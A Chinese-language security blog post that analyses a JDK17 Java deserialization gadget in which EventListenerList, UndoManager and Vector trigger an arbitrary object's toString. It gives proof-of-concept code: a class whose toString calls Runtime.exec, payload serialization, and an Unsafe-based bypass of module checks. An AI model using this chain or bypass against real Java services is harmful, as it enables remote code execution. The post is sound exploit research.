EventListenerList触发任意toString
前言
最近爆出来一个《高版本JDK下的Spring原生反序列化链》,本来想着学习一下最前沿的新东西,看了一下其它师傅的分析文章,好多没见过的知识点,慢慢补吧...
任意toString触发分析
这里我使用JDK17,因为最新的Spring原生反序列化链是基于JDK17的
攻击链分析
该链子的入口点为`EventListenerList#readObject`方法,首先调用`s.readObject`,将返回的对象强转为`EventListener`对象,因此我们需要找到一个可以强转为`EventListener`类的对象,且继承Serializable接口,可以进行序列化于反序列化

最终找到的类是UndoManager
类,它实现了UndoableEditListener
接口,同时UndoableEditListener
继承了EventListener
类,因此这里我们可以将UndoManager
强转为EventListener


同时UndoManager
类继承了compoundEdit
类,compoundEdit
继承AbstractUndoableEdit
类,AbstractUndoableEdit
实现了Serializable
接口



回到readObject
方法中,后面调用add(tmp,l)
方法,这里的l就是我们的UndoManager

进入add
方法,这里会判断 l对象是否为t类型,如果不是,就会抛出一个异常,但是在异常对象中进行了字符串于对象的拼接,在这里就会调用到UndoManager
对象的toString
方法

接下来我们就要跟到UndoManager#toString
方法中,这里的limit和indexOfNextAdd都是INT类型,没有可以利用的地方,那么我们就跟super.toString

会跟到CompoundEdit#toString
方法中,可以看到edits
为Vector
类型,这里也会进行字符串与对象的拼接,这里就会调用Vector#toString
方法


跟进Vector#toString
,跟进super.toString
方法,会走到AbstractCollection#toString
方法中,在该方法中新建了一个迭代器,将对象传入StringBuilder.append
方法中


Vector
中的对象,我们可以通过Vector.add
方法将恶意类传入

跟进StringBuilder.append
方法,然后跟进String.valueOf
方法中,在这里就调用了obj.toString
方法,这样我们就可以调用任意类的toString方法了


注意事项
需要注意在`EventListenerList#writeObject`序列化中,需要让`UndoManager`对象被这样写入`s.writeObject(l);`。
listenerList属性是一个Object列表,在该方法中写了一个for循环,可以看到i+=2
,因此只有列表中的偶数位才会被s.writeObject(l);
写入,因此在写入UndoManager
对象前加一个Class即可

攻击链POC
首先写一个恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class User { public String name; public User(String name) { this.name = name; }
@Override public String toString() { try{ Runtime.getRuntime().exec("cacl"); } catch(Exception e){} return name; } }
|
然后写一个攻击链测试代码
需要注意的是,在JDK17中会进行模块检测,我们需要绕过。简单说Unsafe这里是用来修改我们调用类的模块,从而绕过模块检测。Unsafe是一个偏底层的函数,我们这里是通过找到Field的地址,然后修改其指向我们设置的值。
早在jdk9就开始了模块化,但是真正实施是在jdk17。模块化简单理解将就是 java为了安全有一些类不想让你直接调用,但是java模块里面的类又需要相互调用,所以反射和new一个对象的时候会对调用类和被调用类进行一个模块检测(这里不只是检测调用和被调用类的模块关系,还有其他判断)。好这里我们大概有个概念,jdk17 会进行模块检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public class Test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { patchModule(Test.class, UndoManager.class);
Vector vector = new Vector<>(); vector.add(new User("user"));
UndoManager undoManager = new UndoManager(); Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits"); edits.setAccessible(true); edits.set(undoManager, vector);
EventListenerList eventListenerList = new EventListenerList(); Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList"); listenerList.setAccessible(true); listenerList.set(eventListenerList, new Object[]{Class.class,undoManager});
serialize(eventListenerList); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
private static void patchModule(Class clazz,Class goalclass){ try { Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe)unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); Class currentClass = clazz; long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); } catch (Exception e) { } } }
|
小结
虽然这并不是一个完整的攻击链,但是感觉它可以作为一个攻击面很大的入口点,在最新的《高版本JDK下的Spring原生反序列化链》就是这样的